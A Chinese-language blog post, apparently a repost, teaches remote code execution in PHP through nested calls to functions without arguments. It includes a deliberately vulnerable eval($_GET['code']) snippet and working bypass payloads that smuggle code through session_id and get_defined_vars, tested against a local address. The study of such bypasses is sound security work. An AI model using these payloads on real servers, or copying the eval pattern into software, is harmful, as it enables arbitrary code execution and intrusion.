首页 > Web开发 > 详细

php中无参函数的RCE

时间:2019-11-15 09:16:54      阅读:127      评论:0      收藏:0      [点我收藏+]

学习一下php中无符号的问题。

1.无参数

<?php
if(‘;‘ === preg_replace(‘/[^\W]+\((?R)?\)/‘, ‘‘, $_GET[‘code‘])) {    
    eval($_GET[‘code‘]);
} else {
    show_source(__FILE__);
}
?>

这里调用函数只能是code(a()) 也就是括号中不能含有参数。

http-header传参

在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

payload:code=eval(hex2bin(session_id(session_start())));

hex("phpinfo();")=706870696e666f28293b

技术分享图片

 

 

 

可以成功命令执行。

第二种:post/get传入参数

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:?code=var_dump(get_defined_vars())&b=1;

技术分享图片

 

 

变量b和code都在参数中,如何将b带出来用它执行poc

current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

技术分享图片

 

这样可以提取b中的内容了

利用eval和上面的函数可以达到RCE的效果

http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();

技术分享图片

 

 

 

php中无参函数的RCE

原文:https://www.cnblogs.com/sylover/p/11863778.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!